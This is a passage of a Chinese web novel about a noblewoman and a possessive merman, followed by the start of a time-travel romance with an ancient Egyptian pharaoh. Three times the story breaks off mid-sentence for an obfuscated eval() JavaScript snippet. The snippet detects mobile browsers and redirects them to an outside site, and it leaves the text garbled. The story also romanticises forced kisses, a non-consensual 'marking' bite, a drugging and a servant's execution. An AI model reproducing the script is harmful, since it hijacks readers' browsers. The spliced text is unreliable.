希尔芙斯放轻了手中的力道,待她抹完药膏准备站起身时,脚下一滑,径直摔进了水池中。
这个水池是希尔芙斯特意请求父亲为人鱼打造的,水很深。希尔芙斯不会游泳,窒息感涌向她,她连着呛了好几口水。
就在这时——
一只强健有力的手臂稳稳揽过她的腰肢,将她一把捞起。洛维恩的手托着她的身体,使她浮在水面上。
希尔芙斯心有余悸,双手抱着洛维恩的脖子,大口大口地喘息着。
她丝毫没有注意到自己此刻的模样,身上薄薄的睡裙,被水浸透后,紧紧贴着她的身体,将柔美的曲线展露无遗。
两人的身体紧紧贴在一起,洛维恩能清晰感受到她轻微的颤抖。
他的视线下意识地瞥向怀里的少女,不知想到了什么,他的眼神变得有些暗。
希尔芙斯终于缓过神来,她在洛维恩怀里挣扎了一下,洛维恩明白了她的意思,当即将她送回岸上。
不知想到了什么,希尔芙斯问道:“你们人鱼能够变成双腿在岸上走路吗?”
“嗯。”
“怎么变的?我可以看看吗?”
洛维恩的耳根有些红,他摇了下头:“不太方便。”
“好吧,那你早点休息。我明天再来看你。”希尔芙斯整理了一下自己的衣服,踩着绵软的拖鞋往外走去。
夜里,希尔芙斯睡得很不安稳,半睡半醒间,她总觉得黑暗中有一双眼睛在盯着她。
希尔芙斯翻了个身,很快又陷入了梦境,她没有发现就在她的身后,黑暗中散发出淡蓝色的光。
......
虽然希尔芙斯身边有众多仆从,但是她没有一个能真正谈心的对象。
洛维恩不一样,他虽然是人鱼,思维方式却和人类一模一样。
正因如此,接下来的一段时间里,希尔芙斯每天都会去找洛维恩聊天。
和希尔芙斯熟悉之后,洛维恩开始光明正大地将鱼尾变成双腿,在地上走路。
希尔芙斯特意为他买了几件合身的衣裳,不得不说,洛维恩穿上衣服站在地上时,简直和人类无异。
洛维恩很听话,主动承担起希尔芙斯的事务,宛若一个贴身侍从。
尽管希尔芙斯强调过很多次,那些事情交给下人来做就行,洛维恩还是坚持己见。
他的理由很简单:他怕哪天希尔芙斯说不要就不要他了,所以他要尽量乖一点。
时间久了,希尔芙斯倒也随他去了,他想干家务那就干吧。
洛维恩很粘人,除去希尔芙斯在学校读书的时间,他几乎都和她呆在一起。
晚上希尔芙斯洗完澡从浴室出来,头发还没干,她坐在沙发上心安理得地享受着洛维恩的服务。
洛维恩拿起毛巾替她轻轻擦拭着她的头发。
壁炉里烧着炭,暖和极了。
希尔芙斯斜靠在沙发上,舒服得眯起眼睛,像一只慵懒的小猫。
洛维恩的手轻抚过她柔顺的金发,细细滑滑的,他没忍住摩挲了一下。
他看了一眼希尔芙斯昏昏欲睡的模样,心底某处陷下去一个角,他嘴角微微上扬,脸上带着不自知的笑意。
洛维恩趁着这个功夫,微微俯下身,嗅着她发间淡淡的馨香,眼里满是缱绻与眷恋。
待希尔芙斯的头发干了,她起身来到书桌前开始写白天学校老师布置的作业,明天需要检查。
洛维恩无所事事,就坐在一旁的沙发上静静地看着她,眼睛一眨不眨。
希尔芙斯早就发现了,有一道目光一直落在自己身上。
最近一段时间,不论她在干什么,洛维恩总是这样。每次她转过头去看洛维恩,他又会快速收回视线看向别处,好像在掩饰什么。
希尔芙斯如坐针毡,她的作业到现在都没落下一个字。
她放下手中的笔,径直起身来到洛维恩面前,垂眼看着他,下达命令:“你回自己房间吧,我待会要休息了。”
洛维恩能感知到希尔芙斯身上的情绪,她现在看上去很不爽。
洛维恩以为自己做了什么惹希尔芙斯不开心,他伸出手勾住她的睡裙一角。
“你要抛弃我了吗?我哪里没做好,我都可以改。”
希尔芙斯看着少年委屈可怜的模样,她语气软了几分:“没有,我准备休息了。”
“那你不会抛弃我吧?”洛维恩高悬的心终于落下一点。
希尔芙斯觉得有些好笑,她嘴角微勾,脸上带着浅淡的笑意。
“怎么会?人鱼这么乖,我可舍不得抛弃。”说罢,希尔芙斯伸手轻轻拍了下洛维恩的头,掌心下传来柔软的触感,她没忍住多摸了一下。
希尔芙斯转过身走向书桌。
“我——”洛维恩的声音在身后响起。
她脚步一顿,等待他说下文。
“今晚可以和你一起睡吗?”只听他说道。
希尔芙斯转身看向洛维恩,语气没有起伏,辨不出什么情绪:“理由。”
“那个房间太大了,我有点害怕。”洛维恩言简意赅道。
希尔芙斯抿了下唇,好似在思考他的问题。
房间里安静极了,唯有壁炉燃烧炭时发出“噼里啪啦”的声响。
不知过了多久,希尔芙斯轻点了下头,松口道:“好,我同意了。”
左右不过是一只宠物罢了,这没什么。
记得她以前养的那条狗狗也是这么粘人,晚上总缠着要和她一起睡。
洛维恩得到了自己想要的,他嘴角漾着笑意,看上去很开心。
熄灯后,希尔芙斯躺在床上,总觉得有些不自在。
因为——
洛维恩的存在感太强了,她实在是难以忽视。
她这才意识到这条宠物和以前养的宠物好像都不太一样,有着本质上的区别。
希尔芙斯胡思乱想着,不知不觉间就睡着了。梦里,一双蓝色的眼睛出现在夜晚的海边......
待洛维恩听到身侧传来平稳的呼吸声后,他这才睁开眼睛。
黑暗中散发出淡蓝色的光。
他侧身看向睡在一旁的人类少女,情不自禁地抬起手,在空
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064682|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中顿了几秒后,他的指尖轻抚过她的眉眼。
洛维恩心满意足地将她抱进怀里,贪婪地嗅着她身上的气息。
希尔芙斯睡得香甜,丝毫没有注意到洛维恩的举动,她甚至在他怀里找了一个合适舒服的位置,汲取他身上的温暖。
洛维恩的目光紧紧锁在她的脸上,眼神中满是偏执与占有欲。
他的内心像是被甜蜜与恐惧填满,手臂不自觉地收紧,仿佛只有这样才能确定她真实地在自己怀里。
终于,洛维恩缓缓低下头,在她的额头落下一吻。
“你永远都不能离开我......”他低声喃喃。
话落,他露出自己的獠牙,刺入她颈侧的肌肤。
就此留下属于他的印记。
......
这天下午,洛维恩满怀期待地站在家门口等待希尔芙斯放学归来时,却发现她的身后跟着一只狼兽人。
“介绍一下,这是我下午刚从交易场所新买的宠物。”希尔芙斯站在洛维恩面前,指了指身后的狼兽人。
洛维恩如临大敌地看着狼兽人,没有说话。
他下颌线紧绷,湛蓝的眼瞳里中翻滚着浓烈的情绪,眸光微动,心间隐有一股无名的妒火在燃起。
希尔芙斯没有察觉到洛维恩脸上的表情,她自顾自地走进屋里。
狼兽人却敏锐地感受到了洛维恩的敌意,他害怕地往后退去一步,不明白自己哪里得罪了洛维恩。
“离她远一点。”洛维恩死死地盯着狼兽人,一字一顿,警告对方。
狼兽人听得懂人话,却说不来。
他害怕地点了点头,不明白眼前这个同样是兽人的家伙,为什么周身会散发出如此强烈的压迫感,竟让他想要不自觉地臣服。
希尔芙斯完美地将“三分钟热度”演绎到了极致,只要她闲下来就会去看看狼兽人,洛维恩就这样被她抛在了脑后。
直到晚上上床前,希尔芙斯看见空荡荡的床时,这才察觉到了一丝不对劲。
洛维恩不在。
希尔芙斯决定在睡前去看一眼人鱼,于是她脚步一转,走向洛维恩的房间。
房间内一片漆黑,伸手不见五指,希尔芙斯的心猛地一紧,一种莫名的不安在心底蔓延。
“洛维恩?”希尔芙斯轻声唤道,然而,回应她的只有那略沉的喘.息声,从水池方向幽幽传来。
希尔芙斯走到水池边,再度出声唤他的名字:“洛维——”
话未说完,一股强大的力量拽住了她的脚踝,她整个人毫无防备地被拖入水中。
“啊!”
希尔芙斯下意识地惊呼道,冰冷的水瞬间包裹住她,意料之中的窒息感没有涌来,取而代之的是一个温暖紧实的怀抱。
洛维恩的眼神滚烫,充满复杂的情绪。
希尔芙斯有些害怕,她推了推洛维恩的胸膛,说道:“你——”
洛维恩的拇指紧紧地掐住希尔芙斯的下巴,未等她再说些什么,他便低下头急切地吻住了她的唇。
一瞬间,洛维恩的呼吸又重了几分,灼热的吐息喷洒在希尔芙斯的脸上。
希尔芙斯试图挣扎,可在洛维恩强有力的怀抱下,一切都显得她的反抗很无力。
洛维恩掌心的温度源源不断地传向她的腰际,卷起一片火烧的感觉,使得希尔芙斯的身体不由自主地微微战栗。
水下,光滑的鱼尾开始缠绕住希尔芙斯乱动的双腿,力道越来越紧,导致她动弹不得。
身前是一具滚烫的身体,身后是冰凉的池水,希尔芙斯在水中浮浮沉沉,渐失理智。
不知过了多久,洛维恩终于松开希尔芙斯,他微微俯身与她额头相抵,两人的呼吸交织在一起。
“松开我。”希尔芙斯微微皱了一下眉,她的呼吸还有些急促,显然没有从刚才的吻中缓过来。
“不松。”洛维恩说得决绝。
希尔芙斯不说话,只是在黑暗中看着洛维恩的眼睛。
淡蓝色......
这股熟悉的感觉再度涌向她的心头。
不等希尔芙斯多想,洛维恩的双手捧着她的脸,又吻了下来。
希尔芙斯猛地一惊,突然意识到今夜的洛维恩为什么这么反常了。
每年的9月至12月,都是人鱼发.情的时候。不出意外的话,洛维恩应该是进入了发.情期。
听说人鱼在这个期间,会十分难耐,除非与雌性人鱼交.配。
希尔芙斯使出全身的力气,一把推开洛维恩,她紧紧抓住旁边的墙壁,想要爬回岸上。
被希尔芙斯猝不及防地一推,洛维恩向后退去两步,他看着希尔芙斯落荒而逃的背影,脸色一沉。
他眼眸微眯,周身弥漫着一股危险的气息,眼底是毫不掩饰的占有欲。
洛维恩背对着窗户和洒进来的月光,面容隐藏在了黑暗,他的神色晦暗不明,徒添几分强势的侵略感。
池边的岸太高,希尔芙斯一时半会爬不上去。
见到这一幕,洛维恩嘴角微不可察地扬起,他不慌不忙地游向她。
希尔芙斯终于害怕了,她扭头看向离自己越来越近的洛维恩,大喊道:“你别过来。”
从小到大深深刻在她骨子里的礼仪和教养都被她抛在了脑后。
洛维恩充耳不闻。
他离她越来越近。
就在希尔芙斯终于爬到岸上,以为自己安全时,洛维恩的手臂环住她的腰将她再次拽进水里。
希尔芙斯背对着洛维恩,她此时看不见他脸上的表情,一切充满未知,她的心底只剩下了恐惧。
她试图和他讲理。
“洛维恩,我知道你现在处于——”希尔芙斯顿了顿,有些欲言又止,“但我不是人鱼,没办法......”
8. 世界三
“你清醒一点。”
洛维恩不说话,只是从她身后拥住她,他的脑袋搭在她的颈窝处,轻嗅着她身上的气味。
身后紧贴着他宽阔的胸膛。
他的身形很大,可以完全将她裹在自己怀里。
这一刻,希尔芙斯彻底意识到——
他不像寻常的宠物,他像一个真正的人。
时间一分一秒过去,不知道过了多久,洛维恩终于松开了希尔芙斯。
见状,希尔芙斯长舒一口气,逃窜似的回到了自己的房间。
她从巨大的书柜前找到了与人鱼有关的书籍,仔细地阅读起来。
身为残暴的物种,人鱼的战斗力很强,只有在特殊时期,他们的战斗力才会大大削减。人类为了更好地捕捉到这类生物,会特意挑在每年的9-12月下手。
所以......
洛维恩也是在这个期间才被人类捕捉到的?
希尔芙斯思考了一会儿,她继续阅读下去。
传说,人鱼在发.情期期间,会变得十分难耐,有些时候他们会丧失理智。当然,人鱼不可能每时每刻都处于发.情状态,这是一个间歇性过程......
读到这里,希尔芙斯恍然大悟,看来刚才洛维恩是把她认成雌性人鱼了。
想到这,希尔芙斯原本还因为自己的初吻被一条人鱼夺走而感到恼怒,突然之间,她的气就消了。
算了,她和宠物计较什么。
希尔芙斯接着读下去。
人鱼在这段时期内,如果无法顺利与其他人鱼......最终将会导致其身亡。
希尔芙斯心一跳,她决定第二天就去兽人交易场所为洛维恩再买一条雌性人鱼。
希尔芙斯说到做到,第二天早上一起床就带着侍从们前往兽人交易场所,在几番挑选下,她终于买到了一只很漂亮的雌性人鱼。
希尔芙斯心满意足地回到家,将雌性人鱼放到洛维恩也在的水池中。
“这是我新买的人鱼。”希尔芙斯抬起自己的下巴,居高临下地俯视着水池里的洛维恩。
洛维恩的视线随意地扫向那条雌性人鱼,周身无端透出一股压迫感。
雌性人鱼害怕地蜷缩在水池的一角。
希尔芙斯看了看那条雌性人鱼,又看了看洛维恩,问道:“她为什么看上去很害怕你?”
洛维恩摇了摇头:“我也不知道,可能她怕生吧。”
希尔芙斯来到那条雌性人鱼面前:“你叫什么名字?”
雌性人鱼张了张口,发出嘶哑难听的叫声。
希尔芙斯听不懂对方说的话。
人鱼不会说话吗?
那为什么洛维恩会?
希尔芙斯心头的疑问越来越多,她看着洛维恩人畜无害的脸,突然觉得他没有外表看上去那么简单。
“我先走了,你们好好交流一下吧。”说罢,希尔芙斯不再看洛维恩,她头也不回地走了。
待希尔芙斯彻底消失在自己的视野里,那条雌性人鱼率先朝洛维恩毕恭毕敬地行礼。
“最近海底可还和平?”洛维恩嘴角微勾,笑意不达眼底。
只见雌性人鱼摇了摇头,用人鱼的语言与他交流着。
听完一切,洛维恩轻嗤一声,他掌心朝上,隐隐浮现出一个水球,里面在放着什么画面。
洛维恩脸色有些沉,如幽潭般的眸子微微眯起,目光森冷异常:“我知道了,过段时间就回去。”
晚上希尔芙斯坐在浴缸里泡澡时,隐隐约约发现自己光滑的双腿表面浮现出浅蓝色的鱼鳞。
希尔芙斯有些害怕,难道是因为她和洛维恩待久了?
为什么她会长出鱼鳞?
希尔芙斯想要去找洛维恩问问情况,但是她不知道他现在怎么样了......
或许他正在——
不知为何,希尔芙斯的心情有些低落,就连她自己都不知道为什么。
她准备去洛维恩的房间看看他的情况。
水池里早就没有了那条雌性人鱼的身影。
“她人呢?”希尔芙斯问道。
“不知道,可能逃走了吧。”洛维恩看上去满不在乎。
庄园内有骑士层层看守,一条人鱼怎么可能逃得出去?
然而希尔芙斯现在无暇顾及那条雌性人鱼。
“那你怎么办?”希尔芙斯有些担心。
“你特意去兽人交易场所买雌性人鱼,是为了——”洛维恩的表情有些一言难尽,“帮我?”
“对啊,不然你以为呢?”
“你有没有想过,不是人鱼也同样可以?”洛维恩嘴角微弯,意有所指道。
希尔芙斯下意识地往后退去一步:“什么意思?”
洛维恩来到岸上,鱼尾变成了双腿,他走向希尔芙斯,一双眼睛一眨不眨地盯着她。
“人鱼可以跨物种。”洛维恩回答着希尔芙斯的问题,他长臂一伸将她紧紧揽入自己的怀中。
“希尔芙斯,你怎么可以这样?”
“你不仅把我忘了,你还想着把我推向别人。”
洛维恩俯下身,在希尔芙斯的耳边低声道。
“放开我。”希尔芙斯挣扎着身体,却被他牢牢禁锢住。
“四年前不小心放走了你,以后再也不会了。”
“你已经被我标记,你这辈子都无法离开我了......”
那天晚上,希尔芙斯落荒而逃之后,连着几日都躲着洛维恩。
希尔芙斯为了转移注意力,只好每天去找狼兽人玩,试图让自己暂时忘了洛维恩。
很快,就到了希尔芙斯的父亲巴克伯爵举办晚会的那天。
不少少爷小姐都会前来参加,其中包括希尔芙斯的青梅竹马阿瑟顿。
但是希尔芙斯并不知道,阿瑟顿对她觊觎许久,并精心策划了一场阴谋。
面对阿瑟顿速来的酒杯,希尔芙斯毫无防备,她端起酒杯轻抿,早已在不知不觉中踏入了阿瑟顿设下的陷阱。
药效渐渐发作,希尔芙斯只觉头晕目眩,意识逐渐模糊。
阿瑟顿见状,嘴角勾起一抹得逞的冷笑,强行搀扶着希尔芙斯向预先准备好的房间走去。
“阿瑟顿,你——”希尔芙斯无力地挣扎着,眼神中满是惊恐与失望。
“你放心,明天我的父亲便会向巴克伯爵提及我们的婚约一事。”
就在阿瑟顿即将得逞之际,一道黑影在走廊的深处闪过。
希尔芙斯没能看清对方的身形,但是她认出了那双湛蓝的眼睛,在黑暗中散发着蓝色的光芒。
“洛维恩,救我。”希尔芙斯的眼眸在看到洛维恩的瞬间终于有了一丝光亮,她用尽最后的力气发出微弱的求救声。
黑暗中洛维恩身形一顿,下一秒他径直冲向阿瑟顿,眼神中盛着愤怒的火焰。
阿瑟顿惊恐地瞪大双眼,还来不及反应,便被洛维恩强大的力量击飞出去,重重地撞在墙上。
洛维恩轻轻抱起希尔芙斯,转身消失在黑暗的走廊之中。
此时的希尔芙斯已完全丧失理智,药性在她体内肆虐,冲垮了她所有的矜持与克制。
她迷离的双眼紧紧盯着洛维恩,在恍惚间,竟没忍住凑上前去,亲了洛维恩的嘴角。
轻柔的触碰如同一道电流,瞬间传遍洛维恩的全身。
希尔芙斯的脸颊绯红,眼神中满是渴望与迷乱,她的双手不自觉地拉扯着洛维恩的衣角。
他的身体微微一僵,但很快便恢复了镇定。洛维恩抱着希尔芙斯回到了水池中。
洛维恩的双腿又变回了鱼尾。
他的尾巴攀上她的双腿,将她紧紧缠住,向她传递着炙热的温度。
水下,鱼尾散发着好看的光泽。
洛维恩俯身吻住希尔芙斯。
房间里只剩下他们交织的呼吸声和水面微微晃动的声响。
黑暗仿佛也在这浓烈的情感氛围中退避三舍。
......
翌日清晨,在精
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064683|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
致奢华的房间里,希尔芙斯悠悠转醒,意识回笼的瞬间,昨夜的种种如潮水般涌来。
她的眼眸中闪过一丝慌乱与懊悔,不知道该如何面对洛维恩,更要命的是,她竟然和一条人鱼——
希尔芙斯狠下心来,想尽办法派手下的侍从将洛维恩放生到大海里。
房子里没了洛维恩的身影,希尔芙斯每日望着空荡荡的房间,心中总觉得像是缺了一块,说不出的不适应。
夜晚来临,希尔芙斯洗完澡,头发湿漉漉地披散在背后,她习惯性地坐在沙发上,如果是平时,洛维恩总会走上前,温柔地用双手为她绞干头发。
可如今,希尔芙斯伸出手,却只抓到一片虚无的空气。直到这时,她这才恍然惊觉,洛维恩已经不在身边了。
为了驱散心中对洛维恩的思念,希尔芙斯连着几日去找狼兽人玩耍。
希尔芙斯时常带着狼兽人在茂密的森林中奔跑狩猎,她试图让自己的心思被其他事物填满。
然而,每当夜深人静,洛维恩那湛蓝的眼睛总会不由自主地浮现在她的脑海。她发现,无论怎样努力,都无法将他从心底抹去。
这日,希尔芙斯心情低落地来到海边独自散步。海风轻拂着她的发丝,海浪拍打着岸边的礁石,发出阵阵声响。
突然——
希尔芙斯的心跳陡然加快,她看到了一个熟悉的身影。
洛维恩。
又是那双湛蓝的眼睛。
希尔芙斯望着洛维恩的那双眼睛,一瞬间,记忆如闪电般划过脑海。
她终于想起来为什么她第一次见到洛维恩时,便感觉一切都很熟悉了。
四年前的那个傍晚,也是在这片海边,希尔芙斯独自漫步。
她听到一阵微弱的挣扎声,走近后发现是一条受伤的人鱼搁浅在浅滩。
那条人鱼的鱼尾被礁石划破,鲜血染红了周围的海水。
希尔芙斯心生怜悯,费了好大的力气将他带回自己的庄园,悉心照料他,直至他恢复元气,她又将他放回海里。
希尔芙斯万万没想到——
四年前救的那条人鱼就是洛维恩。
希尔芙斯站在洛维恩的面前,她的脸上难得浮现出一丝害羞,那是往日里从未见过的。
只见少女的脸颊微微泛红,她深呼吸一口气,鼓起勇气说出了心里话。
“洛维恩,我想我是爱你的。”希尔芙斯一边说着,一边傲娇地扭过头不肯去看洛维恩的眼睛。
“我试图忘记你,但我发现这是一件很困难的事情。”希尔芙斯再度望向洛维恩,一鼓作气道,“我没法离开你。”
听到这话,洛维恩原本黯然的眼睛瞬间亮了起来,他唇角弯起,眉眼间是无法抑制的笑意。
希尔芙斯跟着洛维恩一起潜入那神秘的海底世界。
原来,早在之前希尔芙斯被洛维恩标记后,她就拥有了和人鱼一样的能力,可以在水下长出绚丽的鱼尾和鳞片,还能自由自在地在水下呼吸。
希尔芙斯跟随着洛维恩缓缓下潜,眼前的景象令她惊叹不已。
五彩斑斓的珊瑚礁如同一座座精美的城堡,摇曳生姿的海草在水流中翩翩起舞。各种奇异的鱼类穿梭其中,开心地嬉戏打闹着。
远处,宏伟的海底宫殿在微光中若隐若现,散发着古老而神秘的气息。
“好美啊。”希尔芙斯忍不住轻声赞叹,这如梦如幻的画面是她从未见过的。
洛维恩看着希尔芙斯眼中的惊叹,他的嘴角漾着弧度,看向她的眼中充满了缱绻与眷恋。
洛维恩朝希尔芙斯张开双臂,笑道:“欢迎你来到我的世界。”
“我爱你,希尔芙斯。”
“你可以答应我吗?你永远都不会离开我。”洛维恩的声音在希尔芙斯的耳边回荡,带着一丝不安与期待。
希尔芙斯上前一步,主动抱住洛维恩,与他紧紧相拥:“我也爱你,洛维恩,此心不变。”
......
-End-
9. 世界四
全世界的水都会重逢,
北冰洋和尼罗河会在湿云中交融。
——赫尔曼·黑塞
“终有一天,我们将会在无限的时空里再次相爱。”
“吾妻桑晚。”
————
“赫利厄斯二世,赛德一世之子,古埃及第十七王朝第四位法老,在他执政期间,埃及新王国达到了历史上最为强盛的阶段。”
导游带领着游客们来到一座巨大的神庙——卡布辛神庙面前,桑晚跟随着队伍缓缓走着,她仔细地打量着眼前的画面,心中只剩下了震撼与波澜。
“古埃及的法老们后宫佳丽众多,然而赫利厄斯却不一样,他自始至终只拥有过一位王妃,名字叫奥维莉娅。这座神庙便是赫利厄斯在世时特意为她修建的。”
听到这个名字,桑晚脚步一顿,总觉得这个名字仿佛在哪里听过。
“这位法老活到了多少岁呢?”有位游客好奇问道。
“英年早逝。在赫利厄斯25岁那年,古埃及与古赫梯人之间爆发了一场大战——德里塔之战,很不幸,赫利厄斯死在了这场战争中。”
听到这,周围响起了游客们的叹息声。
桑晚也忍不住轻轻叹了一口气,心里替这位伟大的法老感到惋惜。
她仰起头打量着墙壁上看不懂的图文,不知为何,她竟然产生了一种熟悉感。
下一秒,墙壁上的文字渐渐浮现出一道金光,桑晚下意识地闭上了眼睛,她失去了自己的意识……
————
桑晚怎么也没想到,自己上一秒还在埃及旅游,下一秒就穿越到了这神秘而又陌生的古埃及。
她躺在炽热的沙漠上,全身仿佛被撕裂了般,动弹不得。
烈日高悬,一阵又一阵热浪袭来,桑晚的意识在一点一点散去。
就在桑晚几近绝望之时,不远处传来一串马蹄声,一支浩浩荡荡的军队往这边走来。
“救我......”桑晚拼尽全力,发出呼救声。
为首的男人坐在高大的战车上,五官深邃,鼻梁高挺,他的皮肤呈小麦色,在阳光下散发着健康的光泽。
一袭白色的长袍,腰间系着金色的腰带,上面镶嵌着各种奇异的宝石,在阳光下闪烁着耀眼的光芒,无一不彰显着男人尊贵的身份。
桑晚缓缓抬起头,映入眼帘的是赫利厄斯那双碧绿的眼眸。
目光交汇的一刹那,桑晚产生了片刻的分神。
阴狠,冷戾。
这是桑晚对赫利厄斯的第一印象。
赫利厄斯垂眼,面无表情地看着桑晚,鹰隼般的目光紧紧锁定她。
面前的女子无力地倒在地上,莹白的肌肤仿佛是用上好的羊脂玉雕琢而成,却又透着病弱的苍白,一头乌黑的长发如墨般散落在身旁。
鬼使神差间,赫利厄斯微微抬手,示意身后的军队停下来。
男人从战车上缓缓走下来,他在桑晚面前站定。
一股隐隐的压迫感从他的周身蔓延开,桑晚情不自禁地打了个寒颤。
“求求你了......救我......”桑晚意识涣散,强大的求生意志使她忘记了所有的胆怯,她伸手轻轻勾住男人的衣角,看上去楚楚可怜。
赫利厄斯居高临下地站着,他目光微移,落在女人莹白的手上,过了几秒,他忽地笑了。
“救你?”男人薄唇微启,缓缓吐出两个字。
对于喜爱杀戮的暴君来说,“救”这个字眼实在是太过陌生。
但是......
他唇角微勾,笑容很淡。
“好啊,我救你,不过呢——”
他顿了顿。
“从今往后,你就归我了。”
赫利厄斯说着,他俯下身将桑晚拦腰抱起。
桑晚彻底失去意识前,只记得这个温暖的怀抱,有一种莫名的安全感。
四周的侍从面面相觑,纷纷好奇地打量着赫利厄斯怀里的女子。
要知道,赫利厄斯十四岁登基,在位的这十年期间,法老的后宫一直空无一人,身边更是从未有过亲密接触的女性。
军队又继续向着王宫进发,一路无事发生......
桑晚缓缓睁开双眼,一时间,只觉得眼前金芒璀璨,刺得她有些晕眩。待视野渐渐清晰,她才发现自己置身于华丽的寝殿内。
寝殿的穹顶极高,绘满了色彩斑斓的星图与古埃及众神的形象。高大的石柱环绕四周,柱身上刻满了象形文字与精美的图案。
“你终于醒了?”男人低沉的声音落入桑晚的耳中。
桑晚这才注意到床边坐着一个人。
昏迷前的画面如潮水般涌向桑晚的脑海,她这才意识到,自己被眼前这个男人救了。
桑晚惊奇地发现对方说的语言她竟然能听懂,不仅如此,她说出口的话莫名其妙从汉语变成了埃及语。
“谢谢你救了我。”桑晚轻声说道,她的声音很好听,如涓涓细流般,空灵清透。
闻言,赫利厄斯只是轻声一笑,他的语气没有什么起伏,也辨不出他的情绪:“这个世界上可没有免费的午餐,而且我从不做亏本买卖。”
桑晚忽地抬起头看向赫利厄斯,不明白他话里的意思。
赫利厄斯的嘴角噙着浅淡的笑意,多了几分说不清道不明的意味:“我说过,我救了你,作为交换,你以后归我。”
寝殿内陷入了一片安静中,桑晚没有说话。
“你不是埃及人,你来自哪里?”赫利厄斯一边说着,一边随意地把玩着戴在腕间的金镯子。
“东方。”桑晚看着赫利厄斯的眼睛,如实回答道,“一个遥远的地方。”
赫利厄斯不疑有他,他轻轻点了下头,又问道:“你的名字?”
“桑晚。”
听到这个名字,赫利厄斯微微扬了下眉。
“桑晚?这可真是一个独特的名字。”
眼看着时间差不多了,赫利厄斯准备起身离开。
桑晚盯着赫利厄斯高大的背影,鼓起勇气说道:“请问需要我做什么吗?”
赫利厄斯脚步一顿,他没有转身,只是微微侧过头,露出了精致的侧脸,线条流畅。
“不需要,你待在这里好好休息,等我处理完政务就来看你。”
就在这时,房间的门被打开,一位侍女走了进来,对着赫利厄斯毕恭毕敬道:“王,时间到了,大祭司已经在外面候着了。”
赫利厄斯微颔首,视线淡漠地划过面前的侍女,冷声道:“我知道了,马上过去。”
不知赫利厄斯突然想到了什么,他最后看了一眼桑晚,说道:“对了,我的名字是赫利厄斯。”
桑晚的瞳孔一缩。
“我是埃及的法老,整个国家都是我的。”
说罢,赫利厄斯离开了房间,只留下桑晚怔在原地,久久没有回神。
她万万没有想到,救了自己的人就是古埃及的法老王——赫利厄斯,历史上那位伟大的政治家、军事家。
一切怎么会这么巧?
前不久她还在埃及参观神庙,听着导游介绍赫利厄斯,下一秒她就跨越时空亲眼见到了他。
夜里,赫利厄斯终于处理完了繁冗的政务,他有些疲惫地揉了揉自己的太阳穴。
赫利厄斯本想回自己寝殿休息,突然——
他的脑海中却不由自主地浮现出桑晚那张漂亮脆弱的面容,于是他脚步一转,走向她的寝殿。
赫利厄斯轻轻推开殿门,只见室内一片寂静,角落里的一盏油灯散发出微弱的光。
他步履轻轻地走近床榻,却发现桑晚双颊绯红,呼吸也带着一丝急促。
桑晚觉得自己的意识昏昏沉沉,她察觉到有人进来后,这才吃力地睁开眼睛看向来人。
她的身体很虚弱,从小到大,生病对她来说是家常便饭的事情。
穿越后,白日里受到了惊吓和暴晒,再加上水土不服,桑晚的身体一下子便承受不住了。
“你来了......”桑晚极缓地说道,她下意识地拉紧身上的被子。
桑晚有些害怕,不知道他这个点来找她干嘛。
然而赫利厄斯没有猜出她心里的绕绕弯弯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064684|163060||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他看着桑晚这副样子,察觉到一丝不对劲,于是他伸出手碰了下她的额头,滚烫的温度使他的心猛地一紧。
赫利厄斯眉心微蹙,转身唤来守在外面的侍女,质问道:“她晚上吃饭了吗?”他的语气很淡,却透着一股无形的压力。
空气中的气压骤然低了几分,殿内陷入了死一般的寂静。
侍女战战兢兢地跪在地上,她低着头不敢去看赫利厄斯的脸,结巴道:“没,没有。”
“我不是吩咐过了吗?你们要照顾好她。”赫利厄斯薄唇微抿,碧绿的眼眸不经意间扫向跪在面前的侍女,眉眼间没有任何温度。
赫利厄斯微抬手,漫不经心地挥了下,嗓音淡淡:“拖下去吧。”
其他侍从得了命令后,当即走上前将这位侍女拖了出去。
侍女爆发出尖锐的尖叫,求饶道:“求王手下留情,放过我吧!”
赫利厄斯心烦意乱地闭了闭眼睛,懒得去看那位被拖下去的侍女。
“不听吩咐的下人,留着有何用?”赫利厄斯唇角微勾,似是在解释自己为何要置侍女于死地。
“我错了,是我一时疏忽!求王手下留情!”
桑晚听不下去了,她伸手轻轻拽了拽赫利厄斯的衣角,声音很轻:“放了她吧,一切都和她无关,是我身体不舒服,所以拒绝吃饭的。”
“对啊,王,这一切都和我无关啊!”侍女着急地接上桑晚的话。
赫利厄斯本想饶侍女一命,但是在听完侍女说的话后,他又改变了主意。
“很吵,拖下去吧。”只听赫利厄斯淡声道。
